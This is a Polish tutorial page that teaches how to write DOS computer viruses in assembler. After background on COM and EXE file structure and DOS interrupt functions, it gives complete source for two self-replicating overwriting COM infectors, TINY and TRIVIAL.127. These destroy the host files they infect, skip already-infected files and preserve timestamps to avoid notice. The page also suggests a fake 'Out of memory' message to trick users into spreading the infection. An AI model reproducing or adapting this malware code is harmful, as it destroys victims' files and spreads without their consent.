|
"!! UWAGA !! Nie ponoszę żadnej odpowiedzialności za szkody spowodowane jakimkolwiek praktykowaniem informacji zawartych na tej stronie."
Potrzebne narzędzia: • jakiś kompilator asemblerowy, np. A86, czy TASM i TLINK • trochę czasu • podstawy z programowania w Assemblerze
Zakładam, że osoba czytająca ten tekst, czyli np. TY ma pewne pojecie o Assemblerze. Mimo, że będę się starał niektóre rzeczy tłumaczyć dokładniej od podstaw, tych, którzy nie maja o tym języku zielonego pojęcia odsyłam do przeczytania najpierw kursu programowania w Assemblerze. Bardzo dobry kurs znajduje się na mojej stronie.
1. ZACZYNAMY
Istnieje wiele wirusów. Powstaje ich coraz więcej. Związane jest to głównie z tym, ze na rynku powstają coraz to nowsze programy, które praktycznie same tworzą nowe "szkodniki". My jako pseudoautorzy podajemy tylko ich podstawowe parametry, a głównie autora. Większość programów antywirusowych potrafi wykryć wirusy stworzone przy pomocy takich programów. Wszystkie one maja jakieś cechy wspólne. Jednak przez pewne różnice w kodzie programy antywirusowe nie potrafią ich usunąć. Uważam, ze takie pisanie wirusów jest do niczego. Dużo więcej frajdy sprawia stworzenie takiego szkodnika, który nie jest wykrywany przez skanery, a przy okazji pokazuje jakiś ciekawy efekt graficzny, bądź dźwiękowy. Wirusy doklejają się prawie do wszystkich plików. Potrafią zaatakować pliki typu: EXE, COM, SYS, DLL, VXD, XLS, DOC. Są próby nawet plików BAT. By stworzyć wirusa danego typu pliku trzeba poznać jego budowę. Po krotce:
a) pliki typu EXE posiadają własny nagłówek, w którym zapisany jest punkt startu programu, czyli odkąd ma ruszyć wykonywanie programu po jego uruchomieniu. Większość wirusów plików EXE dokleja się na ich końcu zapamiętując punkt startu znajdujący się w jego nagłówku i zmieniając go na adres własnego kodu. Po uruchomieniu tak zarażonego pliku uruchomiony zostaje najpierw kod wirusa, a następnie właściwy kod programu.
b) pliki typu COM są dużo prostsze. Nie posiadają one nagłówka. Cały program mieści się w jednym segmencie, co ułatwia pisanie wirusa. Programy typu COM wykonywane są zawsze spod tego samego punktu startu, jest to 100H. Dlatego większość wirusów atakujących takie pliki dopisuje się na ich końcu zapamiętując pierwsze trzy bajty oryginalnego programu i zmieniając je na instrukcje JMP adres, gdzie adres - jest to początek kodu wirusa.
2. PODSTAWOWE KOMENDY
Na początek wytłumaczę (przypomnę) kilka komend z Assemblera, które będą potrzebne do napisania naszego bardzo prymitywnego wirusa. Wytłumaczę to bardzo ogólnie. I tak:
Rejestry ogólnego przeznaczenia:
AX - dzieli się na AH i AL BX - dzieli się na BH i BL CX - dzieli się na CH i CL DX - dzieli się na DH i DL
Rejestry segmentowe:
CS - segment kodu DS - segment danych
Rejestr znaczników:
do tego rejestru programista nie ma bezpośredniego dostępu, może poszczególne jego bity zmieniać przy pomocy innych instrukcji Assemblera.
Podstawowe komendy:
MOV X,Y - instrukcja kopiuje zawartość rejestru, lub komórki pamięci X do rejestru lub komórki Y. Nie wolno kopiować komórki pamięci do komórki pamięci. Jako X możemy również podać wartość stałą. Nie wolno przesyłać wartości stałej do rejestru segmentowego.
INT X - instrukcja powoduje wywołanie przerwania o numerze X JMP X - instrukcja powoduje wykonanie skoku bezwarunkowego pod adres X XCHG X,Y - instrukcja powoduje zamianę miedzy sobą wartości dwóch rejestrów. XOR X,Y - rozkaz oblicza sumę symetryczna rejestrów X i Y. Jeśli wykonamy ta instrukcje na tych samych rejestrach, to zostaną one wyzerowane, np. XOR AX,AX (AX=0)
Do napisania pierwszego wirusa będą nam potrzebne również pewne przerwania:
INT 21H - przerwanie 21H (wywołanie funkcji DOS-u) MOV AH,x - X - numer funkcji przerwania AH=4EH - funkcja powoduje szukanie pliku w katalogu bieżącym o nazwie, do której adres podany jest w DS: DX. W nazwie tej można używać gwiazdek i znaku zapytania. W rejestrze CX podajemy atrybut szukanego pliku. Jeśli plik zostanie znaleziony znacznik C zostanie wyzerowany, w DTA będzie znajdował się opis znalezionego pliku. Jeśli wystąpi błąd znacznik C będzie ustawiony (=1), a w rejestrze AX będzie kod powstałego błędu.
Blok DTA zaczyna się od adresu 80H i ma następującą budowę:
OFFSET ROZMIAR ZAWARTOŚĆ 0H 15H Zarezerwowane dla funkcji 4FH 15H 1H Atrybuty 16H 2H Czas ostatniej modyfikacji 18H 2H Data ostatniej modyfikacji 1AH 4H Rozmiar pliku w bajtach 1EH 0DH Nazwa pliku
Tak wiec nazwa znalezionego pliku znajduje się pod adresem 9EH.
AH=4FH - funkcja powoduje szukanie kolejnego pliku. Jeśli nie zostanie znaleziony znacznik C zostanie ustawiony.
AH=3DH - funkcja powoduje otwarcie pliku. W DS: DX podajemy adres nazwy pliku w kodzie ASCIIZ, czyli nazwa musi być zakończona kodem ASCII 0, a w AL podajemy tryb dostępu. Mamy do dyspozycji: • AL=0 - tylko do odczytu • AL=1 - tylko do zapisu • AL=2 - do odczytu i zapisu Jeśli powstanie jakiś błąd podczas otwierania pliku zostanie ustawiony znacznik C, w przeciwnym razie w rejestrze AX znajdować się będzie numer dojścia do pliku.
AH=3EH - funkcja powoduje zamkniecie dojścia do pliku. Pliki trzeba zamknąć by wprowadzone zmiany zostały zachowane. W rejestrze BX podajemy numer dojścia do pliku, który chcemy zamknąć.
AH=40H - funkcja powoduje zapisanie CX bajtów do pliku związanego z dojściem podanym w BX. Zapisane zostaną bajty zaczynając od adresu DS: DX.
AH=42H - funkcja powoduje ustalenie pozycji wskaźnika w pliku. W rejestrze BX podajemy numer dojścia do naszego pliku, w CX: DX adres przesunięcia, a w AL sposób przesunięcia. Mamy trzy rodzaje przesunięć: • AL=0 - względem początku pliku • AL=1 - względem aktualnej pozycji wskaźnika w pliku • AL=2 - względem końca pliku Po wykonaniu przerwania w DX:AX znajduje się aktualna pozycja kursora. Jeśli więc chcemy ustawić kursor na końcu pliku rejestry CX i DX będą równe zero, a przesuniecie będzie względem końca pliku (AL=2). Funkcja ta to także sposób na odczytanie długości pliku. Wywołana z AL=2, CX=DX=0 zwróci w DX:AX długość pliku.
3. TO DO DZIEŁA Pierwszym naszym wirusem będzie wirus o nazwie TINY. Zajmuje on tylko 32 bajty. Dokleja się on na początku pliku COM zamazując oryginalny kod. Tak zarażonych plików nie da się już odzyskać.
Nasz wirus będzie wykonywał następujące czynności: • szuka pliku do zarażenia • otwiera znaleziony plik • zapisuje samego siebie Wirus więc wygląda tak:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| start: ; początek wirusa MOV AH,4EH ; szukanie pliku MOV DX,OFFSET maska ; z rozszerzeniem COM INT 21H MOV AX,3D02H ; otwarcie pliku MOV DX,09EH ; nazwa znalezionego pliku z bloku DTA INT 21H XCHG AX,BX ; do BX numer dojścia MOV AH,40H ; pisanie w pliku MOV CL,20H ; CL=20H --> CL=32 - długość zapisywanego pliku MOV DX,OFFSET start ; począwszy od początku wirusa INT 21H RET ; zakończenie programu maska DB "*.COM",0 ; szukany plik end start |
Jest to bardzo prymitywny wirus. Nie wyświetla żadnego napisu. Zarażone pliki zmieniają swoja datę oraz czas ostatniej modyfikacji. Wirus również nie zarazi pliku, który ma nałożone jakieś atrybuty. Jednak program powyższy można nazwać WIRUSEM, gdy potrafi się rozprzestrzeniać. Można w pewien sposób poprawić naszego wirusa dostawiając na jego końcu napis np. "Out of memory", tak by po zarażeniu pliku napis ten został wyświetlony. Powinno to zmylić potencjalnego użytkownika i skusić do powtórzenia tej operacji. Wirusy tego typu maja jedna zaletę. Zarażone programy nie zmieniają swojej objętości.
Jest jeszcze jeden wirus o nazwie TRIVIAL.127. Jest to poprawiona wersja naszego TINY'ego. Czym ona się różni? • nie zaraza plików wcześniej zarażonych • kontroluje ewentualne błędy • pliki nie zmieniają swojej daty i czasu ostatniej modyfikacji Zastanówmy się jak zrobić poszczególne te elementy.
Nasz wirus musi być trochę bardziej inteligentny i jeśli znajdzie plik, który został wcześniej już zarażony, to niech go nie zaraza jeszcze raz tylko poszuka kolejnej ofiary. By to uczynić musi jakoś przetestować znaleziony plik i stwierdzić, w nim obecność swojego kodu bądź nie. W wirusie TRIVIAL.127 posłużono się w tym celu pierwszymi dwoma bajtami. Cały wirus zaczyna się od instrukcji MOV BX,BX, która ma kod 8BDB. Teraz po znalezieniu ofiary, zostają sprawdzone jej dwa pierwsze bajty i jeśli to 8BDB, to szukamy drugiego pliku, a jeśli nie to zarażamy. By uczynić powyższe zadanie przypomnę kilka instrukcji, które będą nam potrzebne:
CMP X,Y - instrukcja powoduje porównanie dwóch rejestrów, bądź rejestru i stałej oraz na podstawie wyniku odpowiednie ustawienie znaczników. JC adres - jest to skok warunkowy. Jeśli znacznik C jest ustawiony (=1) to zostanie wykonany skok pod wskazany adres. JE adres - skok gdy wartości rejestrów X i Y są takie same (X=Y) JNE adr - skok gdy wartości X i Y są różne (X!=Y lub X<>Y) PUSH rej - instrukcja powoduje zapamiętanie na stosie wartości rejestru REJ POP rej - instrukcja powoduje zdjęcie ze stosu wartości i zapamiętanie jej w rejestrze REJ. CALL adr - instrukcja powoduje skok do procedury, która musi być zakończona instrukcją RET RET - powoduje powrót z procedury do miejsca, z którego została wywołana.
Będzie również potrzebnych kilka przerwań (funkcji):
INT 21H - przerwanie 21H MOV AL,X - X - numer funkcji
AH=3FH - funkcja powoduje czytanie pliku. W rejestrze BX podajemy numer dojścia do pliku, w CX liczbę czytanych bajtów, a w DS: DX adres bufora, gdzie zostaną zapamiętane dane. Jeśli wystąpi podczas operacji jakiś błąd, to zostanie ustawiony znacznik C, a rejestr AX będzie zawierał kod powstałego błędu. Jeśli natomiast operacja zakończy się sukcesem, to w AX będzie zapisana liczba przeczytanych bajtów. AH=57H - funkcja ustawia lub sprawdza aktualna datę oraz czas ostatniej modyfikacji. Jeśli AL=0 to sprawdzamy, a wtedy podajemy w BX numer dojścia i po wykonaniu przerwania w CX znajduje się czas, a w DX data modyfikacji. Gdy AL=1 to ustawiamy, wtedy podajemy również w BX numer dojścia i w CX czas, a DX datę modyfikacji. AH=4CH - funkcja powoduje zakończenie wykonywania programu i zwrócenie wartości podanej w AL przez ten program.
Nasz wirus wiec wygląda tak:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| start: ; początek kodu wirusa MOV BX,BX ; instrukcja charakterystyczna dla wirusa MOV AH,4EH ; szukanie pliku MOV CX,0 ; ustalenie atrybutów szukanego pliku MOV DX,OFFSET maska ; nazwa szukanego pliku (*.COM) etyk1: INT 21H JC etyk2 ; jeśli nie znaleziono pliku, to skok pod ETYK2 CALL proc1 ; jeśli znaleziono, to infekcja - skok to PROC1 MOV AH,4FH ; szukanie następnego JMP etyk1 ; skok na początek ETYK1 etyk2: MOV AX,4C00H ; zakończenie programu INT 21H proc1: ; procedura zaraża plik MOV AX,3D02H ; otwarcie pliku do odczytu i zapisu MOV DX,9EH ; nazwa w bloku DTA, czyli adres 9EH INT 21H XCHG BX,AX ; do BX numer dojścia do pliku MOV AH,3FH ; czytanie z pliku MOV CX,2 ; dwóch pierwszych bajtów MOV DX,OFFSET bufor ; i zapamiętanie ich w Buforze INT 21H CMP WORD PTR bufor, 08BDBH ; jeśli wczytane bajty to 8BDB JE etyk4 ; tzn. ze plik został już zarażony XOR DX,DX ; wyzerowanie rejestru DX MOV CX,DX ; do CX wartość DX, czyli CX=0 MOV AX,4200H ; ustawienie wskaźnika na początku pliku INT 21H MOV AL,0 ; AL=0, czyli MOV AH,57H ; sprawdzenie daty i czasu ostatniej INT 21H ; modyfikacji PUSH CX ; zapamiętanie czasu PUSH DX ; i daty na stosie MOV AH,40H ; zapisanie w pliku MOV CX,OFFSET koniec-OFFSET start ; długość wirusa bajtów MOV DX,100H ; począwszy od adresu 100H (początek kodu) INT 21H MOV AL,1 ; AL=1 POP DX ; zdjęcie ze stosu daty i POP CX ; czasu ostatniej modyfikacji MOV AH,57H ; zmiana owych parametrów pliku, gdyż AL=1 INT 21H etyk4: MOV AH,3EH ; zamknięcie dojścia do pliku INT 21H RET ; powrót z procedury bufor DW 0 ; bufor maska DB "*.COM",0 ; nazwa szukanego pliku
|
|